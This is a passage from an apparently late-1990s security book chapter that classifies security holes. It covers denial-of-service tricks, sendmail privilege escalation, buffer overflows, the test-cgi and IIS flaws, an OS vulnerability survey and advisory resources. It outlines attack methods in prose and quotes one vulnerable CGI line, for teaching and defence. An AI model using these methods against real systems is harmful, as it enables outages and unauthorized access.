is \npossible to bring certain NT distributions to a halt simply by Telnetting to a particular \nport and issuing a few simple characters. This forces the CPU to race to 100 percent \nutilization, thus incapacitating the machine altogether. \nThere are other forms of denial-of-service attacks. Certain denial-of-service attacks can \nbe implemented against the individual user as opposed to a network of users. These types \nof attacks do not really involve any bug or hole per se; rather, these attacks take \nadvantage of the basic design of the WWW. \nFor example, suppose I harbored ill feelings toward users of Netscape Navigator. (Don't \nlaugh. There are such people. If you ever land on their pages, you will know it.) Using \neither Java or JavaScript, I could effectively undertake the following actions: \n1. Configure an inline or a compiled program to execute on load, identifying the type of browser \nused by the user. \n \n2. If the browser is Netscape Navigator, the program could spawn multiple windows, each \nrequesting connections to different servers, all of which start Java applets on load. \nIn fewer than 40 seconds, the target machine would come to a grinding halt. (Oh, those \nwith more than 64MB of RAM might survive long enough for the user to shut down the \nprocesses. Nonetheless, the average user would be forced to reboot.) This would cause \nwhat we technically classify as a denial-of-service attack. \n \nCross Reference: One good reference about denial-of-service attacks is \"Hostile Applets \non the Horizon\" by Mark D. LaDue. That document is available at \nhttp://www.math.gatech.edu/~mladue/HostileArticle.html. \n \nThese types of denial-of-service attacks are generally lumped into the category of \nmalicious code. However, they do constitute a type of DoS attack, so I thought they were \nworth mentioning here. \n \nNOTE: Not every denial-of-service attack need be launched over the Internet. There are \nmany types of denial-of-service attacks that occur at a local level, perhaps not even in a \nnetwork environment. A good example is a well known file locking denial-of-service \n" }, { "page_number": 284, "text": " \n \nattack that works on the Microsoft Windows NT platform. Sample code for this attack \nhas been widely distributed on security mailing lists. The code (when compiled) results in \na program that will take any file or program as a command-line argument. This \ncommand-line argument is the target file that you wish to lock. For example, it might be \nWINWORD.EXE or even a DLL file. The file will remain completely locked \n(inaccessible to any user) for the length of time specified by the cracker. During that \nperiod, no one--not even the administrator--can use the file. If the cracker sets the time \nperiod to indefinite (or rather, the equivalent thereof), the only way to subvert the lock is \nto completely kill that user's session. Such locking programs also work over shared out \ndrives. \n \nOne particularly irritating denial-of-service attack (which is being incorporated into many \nWindows 95 cracking programs) is the dreaded CHARGEN attack. CHARGEN is a \nservice that runs on port 19. It is a character generator (hence the name) used primarily in \ndebugging. Many administrators use this service to determine whether packets are being \ninexplicably dropped or where these packets disappear before the completion of a given \nTCP/IP transaction. In any event, by initiating multiple requests to port 19, an attacker \ncan cause a denial-of-service attack, hanging the machine. \nHoles That Allow Local Users Unauthorized Access \nStill higher in the hole hierarchy (class B) are those holes that allow local users to gain \nincreased and unauthorized access. These types of holes are typically found within \napplications on this or that platform. \n \nNOTE: In Figure 15.1, I point to an unshadowed passwd file as a possible class B \nproblem, and in truth, it is. Nonetheless, this is not an application problem. Many such \nnonapplication problems exist, but these differ from hard-line class B holes. Here, hard-\nline class B holes are those that occur within the actual code of a particular application. \nThe following example will help illustrate the difference. \n \nA local user is someone who has an account on the target machine or network. A typical \nexample of a local user is someone with shell access to his ISP's box. If he has an e-mail \naddress on a box and that account also allows shell access, that \"local\" user could be \nthousands of miles away. In this context, local refers to the user's account privileges, not \nhis geographical location. \nsendmail \nA fine example of a hole that allows local users increased and unauthorized access is a \nwell-known sendmail problem. sendmail is perhaps the world's most popular method of \ntransmitting electronic mail. It is the heart of the Internet's e-mail system. Typically, this \nprogram is initiated as a daemon at boot time and remains active as long as the machine \nis active. In its active state, sendmail listens (on port 25) for deliveries or other requests \nfrom the void. \nWhen sendmail is started, it normally queries to determine the identity of the user \nbecause only root is authorized to perform the startup and maintenance of the sendmail \nprogram. Other users with equivalent privileges may do so, but that is the extent of it. \n" }, { "page_number": 285, "text": " \n \nHowever, according to the CERT advisory titled \"Sendmail Daemon Mode \nVulnerability\": \nUnfortunately, due to a coding error, sendmail can be invoked in daemon mode in a way that \nbypasses the built-in check. When the check is bypassed, any local user is able to start sendmail in \ndaemon mode. In addition, as of version 8.7, sendmail will restart itself when it receives a \nSIGHUP signal. It does this restarting operation by re-executing itself using the exec(2) system \ncall. Re-executing is done as the root user. By manipulating the sendmail environment, the user \ncan then have sendmail execute an arbitrary program with root privileges. \nThus, a local user can gain a form of root access. These holes are quite common. One \nsurfaces every month or so. sendmail is actually renowned for such holes, but has no \nmonopoly on the phenomenon (nor is the problem indigenous to UNIX). \n \nCross Reference: For information about some commonly known sendmail holes, check \nout http://info.pitt.edu/HOME/Security/pitt-advisories/95-05-sendmail-\nvulnerabilities.html and http://www.crossroads.fi/~tkantola/hack/unix/sendmail.txt. \n \nOlder versions of sendmail contain a weakness in the buffer (you will learn a little bit \nabout the buffer/stack scenario in the following paragraphs). As such, one used to be able \nto crack the system by invoking the debug option in sendmail and overflowing the buffer. \nThis was done with the -d option. A similar problem surfaced regarding sendmail's \ncommunication with the syslog daemon (another buffer overflow problem). \nThese types of holes represent a serious threat for one reason: If a local user successfully \nmanages to exploit such a hole, the system administrator may never discover it. Also, \nleveraged access is far more dangerous in the hands of a local user than an outsider. This \nis because a local user can employ basic system utilities to learn more about the local \nnetwork. Such utilities reveal far more than any scanner can from the void. Therefore, a \nlocal user with even fleeting increased access can exploit that access to a much greater \ndegree. (For that matter, the local user is behind your firewall, meaning he is free to \nconduct his affairs without further complications.) \n \nNOTE: Holes in programs like sendmail are especially significant because these \nprograms are available to all users on the network. All users must have at least basic \nprivileges to use the sendmail program. If they did not, they would have no way to send \nmail. Therefore, any bug or hole within sendmail is very dangerous. \n \nThe only real comfort with respect to these types of holes is that there is a much greater \nchance of identifying the offender, particularly if he is inexperienced. If the system \nadministrator is running strong logging utilities, the offender will need a fair amount of \nexpertise to escape detection. \nOther Class B Holes \nMost class B holes arise from some defect within an application. There are some fairly \ncommon programming errors that lead to such holes. One such error concerns the \ncharacter buffer in programs written in C (hence, the dreaded buffer overflow). Buffer \noverflow is defined on the Jargon File as \n" }, { "page_number": 286, "text": " \n \nWhat happens when you try to stuff more data into a buffer (holding area) than it can handle. This \nmay be due to a mismatch in the processing rates of the producing and consuming processes (see \noverrun and firehose syndrome), or because the buffer is simply too small to hold all the data that \nmust accumulate before a piece of it can be processed. \n \nCross Reference: The Jargon File is a wide collection of definitions, which cover strange \nand colorful terms used in computer lingo or slang (technospeak). All new Internet users \nshould peruse the Jargon File because it reveals the meanings of many acronyms and \nother slang terms referred to in Usenet newsgroups and general discussion areas on the \nInternet. A good HTML version of the Jargon File is located at \nhttp://nmsmn.com/~cservin/jargon/alpha.html. \n \nRather than exhaustively treat the subject of buffer overflows, I will briefly describe \nproblem here. The purpose of this explanation is to familiarize you with a rather \ningenious technique of gaining unauthorized access; I hope to do so without an endless \nexamination of the C language (C is covered more extensively in Chapter 30, \"Language, \nExtensions, and Security\"). \nPrograms written in C often use a buffer. Flatly stated, a buffer is an abstraction, an area \nof memory in which some type of text or data will be stored. Programmers make use of \nsuch a buffer to provide pre-assigned space for a particular block or blocks of data. For \nexample, if one expects the user to input his first name, the programmer must decide how \nmany characters that first name buffer will require (how many letters should be allowed \nin that field, or the number of keystrokes a user can input in a given field). This is called \nthe size of the character buffer. Thus, if the programmer writes: \nchar first_name[20]; \nhe is allowing the user 20 characters for a first name. But suppose the user's first name \nhas 35 characters. What happens to the last 15 characters? They overflow the character \nbuffer. When this overflow occurs, the last 15 characters are put somewhere in memory, \nat another address (an address the programmer did not intend for those characters to go \nto). Crackers, by manipulating where those extra characters end up, can cause arbitrary \ncommands to be executed by the operating system. Most often, this technique is used by \nlocal users to gain access to a root shell. Unfortunately, many common utilities have been \nfound to be susceptible to buffer overflow attacks. \nProgrammers can eliminate this problem through careful programming techniques. I am \nnot suggesting here that programmers should provide error checking for each and every \ncharacter buffer written; this is probably unrealistic and may be waste of time. For \nalthough these defects can certainly place your network at risk, the cracker requires a \nhigh level of skill to implement a buffer overflow attack. Although the technique is often \ndiscussed in cracking circles, few actually have the programming knowledge to do it. \n \nNOTE: Failure to include checks for buffer overflows have caused some of the very \nproblems I have already discussed, such as sendmail holes. \n \nThe buffer overflow issue is nothing new; it has been with us at least since the days of the \nWorm. Eugene Spafford, as I have already noted, was one of the first individuals to \nconduct a purposeful analysis of the Worm. He did so in the now-famous paper, \"The \n" }, { "page_number": 287, "text": " \n \nInternet Worm: An Analysis.\" Spafford's paper is undoubtedly the best source of \ninformation about the Worm. \nIn page 4 of that document, Spafford observes that the Morris Worm exploited a \nvulnerability in the fingerd daemon (the daemon that listens for and satisfies finger \nrequests directed to port 79). The fingerd program utilized a common C language \nfunction known as gets(), which performs the simple task of reading the next line of \ninput. gets() lacked any function to check for bounds, or incoming input that could \npotentially exceed the buffer. Thus, Morris was able to overflow that buffer and \nreportedly push other code onto the stack; this code provided the Worm with needed \nsystem access. Spafford observes that this vulnerability was well known in programming \ncommunities, even then. He further explains that functions that fail to check for potential \noverflows should not be used. Yet even today, programs are written with the same, basic \nflaws that allowed the Worm to travel so far, so fast. \nHoles That Allow Remote Users Unauthorized Access (Class A) \nClass A holes are the most threatening of all and not surprisingly, most of them stem \nfrom either poor system administration or misconfiguration. Vendors rarely overlook \nthose holes that allow remote users unauthorized access. At this late stage of the game, \neven vendors that were previously not security minded have a general grasp of the \nterrain. \nThe typical example of a misconfiguration (or configuration failure) is any sample script \nthat remains on the drive, even though the distribution docs advise that it be removed. \nOne such hole has been rehashed innumerable times on the Net. It involves those files \nincluded within Web server distributions. \nMost Web server software contains fairly sparse documentation. A few files may exist, \ntrue, and some may tout themselves as tutorials. Nonetheless, as a general rule, \ndistributions come with the following elements: \n• \nInstallation instructions \n• \nThe binaries \n• \nIn some rare cases, the source \n• \nSample configuration files with comments interspersed within them, usually commented out \nwithin the code \n• \nSample CGI scripts \nTo the credit of those distributing such software, most configuration files offer a warning \nregarding sample scripts. Nonetheless, for reasons of which I am uncertain, not everyone \nheeds those warnings (at least one government site recently cracked had this problem). In \nany case, these scripts can sometimes provide an intruder from the void with access \nranging from limited to root. \n" }, { "page_number": 288, "text": " \n \nProbably the most talked-about hole of this kind is the vulnerability in a file called test-\ncgi, distributed with early versions of the Apache Web Server distribution. This file \ncontained a flaw that allowed intruders from the void to read files within the CGI \ndirectory. If your test-cgi file contained the following line, you were probably \nvulnerable: \necho QUERY_STRING = $QUERY_STRING \nAs noted in the article titled \"Test-CGI Vulnerability in Certain Setups\": \nAll of these lines should have the variables enclosed in loose quotes (\"). Without these quotes \ncertain special characters (specifically `*') get expanded where they shouldn't. Thus submitting a \nquery of `*' will return the contents of the current directory (probably where all of the cgi files \nare). \n \nCross Reference: Find \"Test-CGI Vulnerability in Certain Setups\" online at \nhttp://www.sec.de/sec/bug.testcgi. \n \nInterestingly, no sooner than this advisory (and others like it) circulated, it was found \nthat: \nTest-CGI in the Apache 1.1.1 distribution already has the required: \necho QUERY_STRING = \"$QUERY_STRING\" \nHowever, it does not have the necessary quotes around the \n\"$CONTENT_TYPE\" \nstring. Therefore it's still vulnerable in its default configuration. \n \nCross Reference: The previous paragraph is excerpted from an article titled \n\"Vulnerability in Test-CGI\" by Joe Zbiciak. It can be found online at http://geek-\ngirl.com/bugtraq/. \n \nProblems like this are common. For example, one HTTP server on the Novell platform \nincludes a sample script called convert.bas. The script, written in BASIC, allows \nremote users to read any file on the system. \nThis problem sometimes involves more than just a sample script; sometimes it involves \nthe way scripts are interpreted. For example, version 1.0 of Microsoft's Internet \nInformation Server (IIS) contains a hole that allows any remote user to execute arbitrary \ncommands. The problem is that the IIS HTTP associates all files with a *.bat or *.cmd \nextension to the program cmd.exe. As explained by Julian Assange (author of Strobe), \nthe problem is not restricted to IIS: \nThe First bug allows a user to access any file on the same partition where your wwwroot directory \nexists (assuming that IIS_user has permission to read this file). It also allows execution of any \nexecutable file on the same partition where your scripts directory exists (assuming that IIS_user \nhas permission to execute this file). If cmd.exe file can be executed then it also allows you to \nexecute any command and read any file on any partition (assuming that IIS_user has permission to \nread or execute this file)...Unfortunately Netscape Communication and Netscape Commerce \nservers have similar bugs. Similar things can be done with Netscape Server if it uses BAT or \nCMD files as CGI scripts. \nNaturally, these holes pose a significant danger to the system from outside sources. In \nmany cases, if the system administrator is running only minimal logs, these attacks may \ngo unrecorded. This makes it more difficult to apprehend the perpetrators. \n" }, { "page_number": 289, "text": " \n \n \nNOTE: To be fair, most UNIX implementations of HTTPD do provide for recording of \nthe requesting IP address. However, even given this index to go by, identifying the actual \nperpetrator can be difficult. For example, if the attacker is coming from AOL, the call \nwill come from one or more of AOL's proxy machines in Reston, Virginia. There could \nbe hundreds of potential suspects. Using the ACCESS.LOG file to track a cracker is a \npoor substitute for more comprehensive logging and is only of real value when the \nattacker is coming from a small local ISP. \n \nYou can readily see, then, why programs like scanners have become such an important \npart of the security scheme. Scanners serve the vital purpose of checking for these holes. \nThe problem is, of course, that for a scanner to include the capability to scan for a \nparticular vulnerability, that vulnerability must already be well known. Thus, although \nsecurity programmers include such holes as scan options in their programs, they are often \nseveral months behind the cracking community. (Also, certain holes--such as the \nsyn_flooding hole that allows denial-of-service attacks--are not easily remedied. Such \nholes are imperfections that system administrators must learn to live with for the \nmoment.) \nWhat makes the situation more difficult is that holes on platforms other than UNIX take \nmore time to surface. Many NT system administrators do not run heavy logs. To report a \nhole, they must first have some evidence that the hole exists. Moreover, newer system \nadministrators (of which a higher percentage exists amongst the IBM-compatible set) are \nnot well prepared for documenting and reporting security incidents. This means that time \npasses before such holes are presented, tested, re-created in a test environment, and \nultimately, implemented into scanners. \n \nNOTE: Microsoft users cannot count on Microsoft to instantly enlighten users as to \npotential problems. In my opinion, Microsoft's record of publicizing holes has been very \npoor. It seems to do so only after so many people know about the hole that there is no \nother choice but to acknowledge it. While a hole is still obscure, Microsoft personnel \nadamantly deny the existence of the flaw. That situation is only now changing because \nthe hacking (not cracking) community has called their bluff and has initiated the process \nof exposing all holes inherent within the Microsoft platform. \n \nThere is also the question of quality. Five years ago, software for the Internet was coded \nprimarily by the academic communities. Such software had bugs, true, but the quality \ncontrol worked quite differently from today's commercial schemes. In those days (they \nseem so distant now!), a product was coded by and released from some CS lab. Several \nhundred (or even several thousand) people would download the product and play with it. \nBug reports would flow in, problems would be addressed, and ultimately, a slow but \nprogressive process of refinement would ensue. \nIn the current commercially charged climate of the Internet, applications of every type are \npopping up each day. Many of them are not subjected to a serious analysis for security \nflaws within the code (no matter how fervently their proponents urge otherwise). In fact, \nit is common to see the same programming errors that spawned the Morris Worm. \n" }, { "page_number": 290, "text": " \n \nTo demonstrate this point, I will refer to the buffer overflow problem. As reported in a \n1995 advisory on a vulnerability in NCSA HTTPD (one of the world's most popular Web \nserver packages): \nA vulnerability was recently (2/17/95) discovered in the NCSA httpd Release 1.3. A program \nwhich will break into an HP system running the precompiled httpd has been published, along with \nstep by step instructions. The program overflows a buffer into program space which then gets \nexecuted. \n \nCross Reference: The previous paragraph is excerpted by a paper by Elizabeth Frank, \nand can be found online at http://ernie.sfsu.edu/patch_desc.html. \n \nAccording to the CERT advisory (\"NCSA HTTP Daemon for UNIX Vulnerability\") that \nfollowed: \nRemote users may gain unauthorized access to the account (uid) under which the httpd process is \nrunning. \nAs explained in Chapter 9, \"Scanners,\" many individuals unwittingly run HTTPD as root. \nThus, this vulnerability would provide remote users with root access on improperly \nconfigured Web servers. \nOther Holes \nIn the preceding paragraphs, I named only a few holes. This might give you the erroneous \nimpression that only a handful of programs have ever had such holes. This is untrue. \nHoles have been found in nearly every type of remote access software at one stage or \nanother. The list is very long indeed. Here is a list of some programs that have been \nfound (over the years) to have serious class A holes: \n• \nFTP \n• \nGopher \n• \nTelnet \n• \nsendmail \n• \nNFS \n• \nARP \n• \nPortmap \n• \nfinger \nIn addition to these programs having class A holes, all of them have had class B holes as \nwell. Moreover, in the class B category, dozens of other programs that I have not \nmentioned have had holes. Finally, a good number of programs have class C holes as \nwell. I will be addressing many of these in upcoming chapters. \nThe Impact of Holes on Internet Security \n" }, { "page_number": 291, "text": " \n \nNow that you have read a bit about some common holes, the next step is to know what \nimpact they can have on Internet security. First, know this: Any flaw that a cracker can \nexploit will probably lead to other flaws. That is, each flaw (large or small) is a link in the \nnetwork chain. By weakening one link, crackers hope to loosen all the other links. A true \ncracker may use several techniques in concert before achieving even a modest goal. If \nthat modest goal can be achieved, other goals can also be achieved. \nFor example, perhaps a cracker is working on a network on which he does not have an \naccount. In that instance, he must first acquire some form of access to the system (access \nabove and beyond whatever diagnostic information he may have culled from SATAN, \nISS, or other scanners). His first target, then, might be a user on that network. If he can \ncompromise a user's account, he can at least gain shell access. From that point on, other \nmeasures may be taken. \n \nNOTE: I recently reviewed logs on a case where the cracker had gained control of a local \nuser's account. Unfortunately for the cracker, he did not pick his target well. The unwary \nuser was a complete newbie and had never, ever used her shell account. LAST logs (and \nother auditing materials) revealed this immediately. So what we had was a dial-up \ncustomer who had never used her shell account (or even built a Web page) suddenly \ncompiling programs using a C compiler from a shell account. Hmm. Next time, that \ncracker will be more choosy about whose account he commandeers. \n \nIs This Hole Problem As Bad As They Say? \nYes and no. Holes are reported to a variety of mailing lists each day. Nonetheless, those \nholes vary in severity. Many are in the class C category and not particularly important. \nAs an interesting experiment, I decided to categorize (by operating-system type) all holes \nreported over a two-month period. \n \nNOTE: In my experiment, I excluded all non-UNIX operating systems (I treat non-\nUNIX operating systems later in this chapter). I did this to be fair, for by sampling a bug \nmailing list that concentrates primarily on UNIX machines, I would give an erroneously \nbad image of UNIX and an erroneously good image of non-UNIX systems. This is so \nbecause UNIX mailing lists only occasionally receive security advisories on non-UNIX \nsystems. (Although there is now a cross-over because other systems are more commonly \nbeing used as server-based platforms for the WWW, that cross-over amounts to a trickle). \n \nInstead of indiscriminately picking instances of a particular operating system's name and \nadding this to the tables (for example, grabbing every posting that referred to the syslog \nhole), I carefully sifted through each posting. I chose only those postings that reported the \nfirst instance of a hole. All trailing messages that discussed that hole were excluded. In \nthis way, only new holes were added to my data. Furthermore, I pulled only the first 50 \non each operating system. With one minor exception that I explain later, I had no reason \nto assume that the percentage would be greatly influenced by pulling 100 or 1,000. \nI must advise you of one final point. Figure 15.2 shows an astonishing number of holes in \nHP-UX (Hewlett Packard's OS). This prevalence of HP-UX holes is largely due to a \ngroup called \"Scriptors of Doom.\" These individuals have concentrated their efforts on \nfinding holes indigenous to HP-UX. They have promised \"one hole a week.\" Because of \n" }, { "page_number": 292, "text": " \n \ntheir activity, HP-UX appears to have security problems that are more serious than other \noperating systems of a similar ilk. This is not really the case. That settled, please examine \nFigure 15.2. \nNote that Sun (Solaris), AIX, and FreeBSD were running neck and neck, and that IRIX \nhad just slightly fewer holes than Linux. But which of these holes were serious security \nrisks? Which of these--per platform--were class B or class A vulnerabilities? To \ndetermine this, I reexamined the data from Figure 15.2 and excluded all vulnerabilities \nthat could not result in local or remote users gaining root access. Table 15.1 lists the \nresults. \nFIGURE 15.2. \nSurvey of reported operating system holes in October-December 1996. \nTable 15.1. Operating system holes that allowed root access. \nOperating system Holes \nHP-UX \n6 \nSolaris \n2 \nAIX \n1 \nLinux \n4 \nIRIX \n4 \nFreeBSD \n3 \nStill, this information could be misleading, so I analyzed the data further. All of the listed \noperating systems were vulnerable to at least one bug present in their counterparts. That \nis, at least one bug was common to all operating systems sampled. After excluding these \nholes, the average was 2.5 holes per platform. AIX fell completely out of the running at \nthat stage, having a total value of 0. Does this mean that AIX is the safest platform? No. \nIt simply means that this two-month period spawned few advisories relevant to AIX. \nThis brings me to an important point. You may often see, particularly on Usenet, \nindividuals arguing over whether Solaris is tighter than AIX or whether Linux is tighter \nthan FreeBSD and so forth. These arguments are exercises in futility. As it happens, all \noperating systems have their holes. Long-term examination of reporting lists reveals that \nadvisories go in cycles. Were I to sample another period in time, AIX might be the \npredominate victim. There is no mysterious reason for this; it breaks down to the nature \nof the industry. When a hole is discovered in sendmail, for example, it is not immediately \nclear as to which platforms are affected. Determining this takes time. When the hole is \nconfirmed, a detailed description is posted to a list, and chances are that more than half of \nall machines running sendmail are affected. But when holes are discovered in proprietary \nsoftware, any number of things can happen. This might result in a one-month run of \nadvisories on a single platform. \n \nNOTE: This sometimes happens because proprietary software may have multiple file \ndependencies that are inherent to the distribution, or there may be multiple modules \ncreated by the same programming team. Therefore, these executables, libraries, or other \nfiles may share the same basic flaws. Thus, there may be a buffer overflow problem in \n" }, { "page_number": 293, "text": " \n \none of the executable programs in the package, and additionally, one of the library \nimplementations is bad. (Or even, systems calls are poorly implemented, allowing \ncommands to be pushed onto the stack.) If a proprietary package is large, problems could \nkeep surfacing for a week or more (maybe even a month). In these cases, the vendor \nresponsible looks very bad; its product is a topic of furious discussion on security lists for \nan extended period. \n \nHoles on Other Platforms \nAnalyzing holes on other platforms is more difficult. Although vendors maintain \ndocuments on certain security holes within their software, organized reporting (except in \ncases if virus attacks) has only recently become available. This is because non-UNIX, \nnon-VAX systems have become popular server platforms only in the last two years. \nReporting for these holes has also been done (up until recently) by individual users or \nthose managing small networks. Hard-line security professionals have traditionally not \nbeen involved in assaying, for example, Microsoft Windows. (Oh, there are hundreds of \nfirms that specialize in security on such platforms, and many of them are listed in this \nbook. Nonetheless, in the context of the Internet, this has not been the rule.) \n \nNOTE: That rule is about to change. Because security professionals know that Microsoft \nWindows NT is about to become a major player, reporting for NT holes will become a \nmore visible activity. \n \nDiscussions About Holes on the Internet \nFinding information about specific holes is simple. Many sites, established and \nunderground, maintain archives on holes. Established sites tend to sport searchable \nindexes and may also have classic security papers ranging back to the days of the Worm. \nUnderground sites may have all of this, as well as more current information. The majority \nof holes, in fact, are circulated among cracking communities first. For information about \nlocating these resources, see Appendix A, \"How to Get More Information.\" To whet your \nappetite, a few sites and sources for information about security holes follow. \nWorld Wide Web Pages \nYou'll find loads of information about holes on numerous Web pages. Following are \nsome that you should check out. \nCERT \nThe Computer Emergency Response Team was established after the Internet Worm \ndebacle in 1988 (young Morris scared the wits out of many people on the Net, not the \nleast of which were those at DARPA). CERT not only issues advisories to the Internet \ncommunity whenever a new security vulnerability becomes known, it \n• \nis on call 24 hours a day to provide vital technical advice to those who have suffered a break-in \n" }, { "page_number": 294, "text": " \n \n• \nuses its WWW site to provide valuable security information available, both new and old \n(including papers from the early 1980s) \n• \npublishes an annual report that can give you great insight into security statistics \nThe real gold mine at CERT is the collection of advisories and bulletins. You can find \nthese and other important information at http://www.cert.org (see Figure 15.3). \nFIGURE 15.3. \nThe Computer Emergency Response Team (CERT) WWW site. \nDepartment of Energy Computer Incident Advisory Capability \nCIAC was also established in 1989, following the Morris Worm. This organization \nmaintains a database of security related material intended primarily for the U.S. \nDepartment of Energy. The CIAC site is one of the best sources for security information. \nIn addition to housing tools, this site also houses a searchable archive of security \nadvisories. Moreover, CIAC provides to the public a series of security papers. Also, \nCIAC now utilizes the Adobe PDF file format, so the papers it provides are attractive, \neasily navigated, and easily formatted for printing. PDF format is, in my opinion, far \nsuperior to PostScript format, particularly for those not running UNIX. \nImportant information provided by CIAC to the public includes the following: \n• \nDefense Data Network advisories \n• \nCERT advisories \n• \nNASA advisories \n• \nA comprehensive virus database \n• \nA computer security journal by Chris McDonald \nCIAC is located at http://ciac.llnl.gov/ (see Figure 15.4). \nFIGURE 15.4. \nThe Computer Incident Advisory Capability WWW site. \nThe National Institute of Standards and Technology Computer Security Resource \nClearinghouse \nThe NIST CSRC WWW site (see Figure 15.5) is a comprehensive starting point. NIST \nhas brought together a sizable list of publications, tools, pointers, organizations, and \nsupport services. \nFIGURE 15.5. \nThe NIST CSRC WWW site. \nThe Forum of Incident Response and Security Teams (FIRST) \n" }, { "page_number": 295, "text": " \n \nFIRST is a really a coalition of many organizations, both public and private, that work to \ncirculate information on and improve Internet security. Some FIRST members are \n• \nDoE Computer Incident Advisory Capability (CIAC) \n• \nNASA Automated Systems Incident Response Capability \n• \nPurdue University Computer Emergency Response Team \n• \nStanford University Security Team \n• \nIBM Emergency Response Service \n• \nAustralian Computer Emergency Response Team \nThe interesting thing about FIRST is that it exercises no centralized control. All members \nof the organization share information, but no one exercises control over any of the other \ncomponents. FIRST maintains a list of links to all FIRST member teams with WWW \nservers. Check out FIRST at http://www.first.org/team-info/ (see Figure 15.6). \nFIGURE 15.6. \nThe FIRST WWW site. \nThe Windows 95 Bug Archive \nThe Windows 95 Bug Archive is maintained at Stanford University by Rich Graves. To \nhis credit, it is the only truly comprehensive source for this type of information. (True, \nother servers give overviews of Windows 95 security, but nothing quite like this page.) \nThis archive is located at \n• \nhttp://www-leland.stanford.edu/~llurch/win95netbugs/archives/ \nMr. Graves is a Network Consultant, a Webmaster, an Apple Talk specialist, and a master \nGopher administrator. He has painstakingly collected an immense set of resources about \nWindows 95 networking (he is, in fact, the author of the Windows 95 Networking FAQ). \nHis Win95NetBugs List has a searchable index, which is located here: \n• \nhttp://www-leland.stanford.edu/~llurch/win95netbugs/search.html \nThe site also features an FTP archive of Windows 95 bugs, which can be accessed via the \nWWW at this locale: \n• \nhttp://www-leland.stanford.edu/~llurch/win95netbugs/archives/ \nThe ISS NT Security Mailing List \nThis list is made available to the public by Internet Security Systems (ISS). It is a mailing \nlist archive. Individuals post questions (or answers) about NT security. In this respect, the \nmessages are much like Usenet articles. These are presented at the following address in \nlist form and can be viewed by thread (subject tag), author, or date. \n• \nhttp://www.iss.net/lists/ntsecurity/ \n" }, { "page_number": 296, "text": " \n \nFrom this address, you can link to other security mailing lists, including not only \nWindows NT-related lists, but integrated security mailing lists, as well. You also have the \noption of viewing the most recent messages available. \nSuch lists are of great value because those posting to them are usually involved with \nsecurity on an everyday basis. Moreover, this list concentrates solely on Windows NT \nsecurity and, as such, is easier to traverse and assimilate than mailing lists that include \nother operating systems. \nOne particularly valuable element of this page is that you can link to the Windows NT \nSecurity Digest Archive Listing. This is a comprehensive database of all NT postings to \nthe security list. Appendix A provides a description of various methods to incisively \nsearch these types of archives using agents. For the moment, however, it suffices to say \nthat there are some very talented list members here. Even if you visit the list without a \nspecific question in mind, browsing the entries will teach you much about Windows NT \nsecurity. \n \nCross Reference: ISS is also the vendor for a suite of scanning products for Windows \nNT. These products perform extremely comprehensive analyses of NT networks. If your \ncompany is considering a security assessment, you might want to contact ISS \n(http://iss.net). \n \nThe National Institutes of Health \nThe Computer Security Information page at the National Institutes of Health (NIH) is a \nlink page. It has pointers to online magazines, advisories, associations, organizations, and \nother WWW pages that are of interest in security. Check out the NIH page at this locale: \n• \nhttp://www.alw.nih.gov/Security/security.html \nThis is a big site. You may do better examining the expanded index as opposed to the \nfront page. That index is located here: \n• \nhttp://www.alw.nih.gov/Security/tcontents.html \nThe Bugtraq Archives \nThis extraordinary site contains a massive collection of bugs and holes for various \noperating systems. The Bugtraq list is famous in the Internet community for being the \nnumber one source for holes. \nWhat makes Bugtraq so incredibly effective (and vital to those studying Internet security) \nis that the entire archive is searchable. The information can be searched so incisively that \nin just a few seconds, you can pin down not only a hole, but a fix for it. The archive \nsearch index offers several choices on the type of search. \nOne important amenity of the Bugtraq list is that it is not inundated with advertisements \nand other irrelevant information. The majority of people posting to the list are extremely \nknowledgeable. In fact, the list is frequented by bona fide security specialists that solve \nreal problems every day. Chris Chasin, the host of Bugtraq, defines the list as follows: \n" }, { "page_number": 297, "text": " \n \nThis list is for *detailed* discussion of UNIX security holes: what they are, how to exploit, and \nwhat to do to fix them. This list is not intended to be about cracking systems or exploiting their \nvulnerabilities. It is about defining, recognizing, and preventing use of security holes and risks. \nIn my opinion, Bugtraq is the Internet's most valuable resource for online reporting of \nUNIX-based vulnerabilities. Visit it here: \n• \nhttp://www.geek-girl.com/bugtraq/search.html \nThe Computer and Network Security Reference Index \nThis index is another fine resource page. It contains links to advisories, newsgroups, \nmailing lists, vendors, and archives. Check it out at \n• \nhttp://www.telstra.com.au/info/security.html \nEugene Spafford's Security Hotlist \nThis site can be summed up in five words: the ultimate security resource page. Of the \nhundreds of pages devoted to security, this is the most comprehensive collection of links \navailable. In contrast to many link pages whose links expire, these links remain current. \nCheck it out on-line at \n• \nhttp://www.cs.purdue.edu/homes/spaf/hotlists/csec-top.html \n \nNOTE: Note to Netscape users: Spaff's page utilizes fundamental Web technology to \nspawn child windows. That means that for each link you click, a new window is \nspawned. New users may be unfamiliar with this method of linking and may be confused \nwhen they try to use the Back button. The Back button does not work because there is no \nwindow to go back to. If you plan to try multiple links from Spaff's page, you will need \nto kill each subsequent, child window to get back to the main list. If you fail to do this \n(and instead minimize each window) you will soon run out of virtual memory. \n \nMailing Lists \nTable 15.2 contains a list of security-related mailing lists that often distribute advisories \nabout holes. Most are very useful. \n \nCAUTION: Remember when I wrote about the large volume of mail one could receive \nfrom such a list? Beware. Subscribing to a handful of these lists could easily result in 10-\n30MB of mail per month. \n \n \nTIP: If a list has a sister list that calls itself a digest, subscribe to the digest instead. \nDigests are bundled messages that come periodically as a single file. These are more \neasily managed. If you subscribe to three or four lists, you may receive as many as ten \nmessages an hour. That can be overwhelming for the average user. (You'll see messages \nfrom distraught users asking how to get off the list. These messages usually start out \nfairly civil, but end up as \"Get me off this damn list! It is flooding my mailbox!\") \n \nTable 15.2. Mailing lists for holes and vulnerabilities. \n" }, { "page_number": 298, "text": " \n \nList \nSubject \n8lgm-list-request@8lgm.org \nSecurity holes only. No junk mail. Largely UNIX. \nbugtraq-request@fc.ne \nMailing list for holes. No junk mail. UNIX. \nsupport@support.mayfield.hp.com \nHewlett Packard security advisories. \nrequest-ntsecurity@iss.net \nThe ISS NT Security mailing list. This is the list that \ngenerates the NT archive mentioned previously. \ncoast-request@cs.purdue.edu \nHoles and discussion on tools. Primarily UNIX. \nsecurity-alert@Sun.COM \nSun Microsystems security advisories. \nwww-security-\nrequest@nsmx.rutgers.edu \nHoles in the World Wide Web. \nsecurity-alert@Sun.COM \nSun Microsystems security advisories. \nSneakers@CS.Yale.EDU \nThe Sneakers list. Real-life intrusion methods using \nknown holes and tools. \nSummary \nIn this chapter, you have learned a bit about holes. This knowledge will serve you 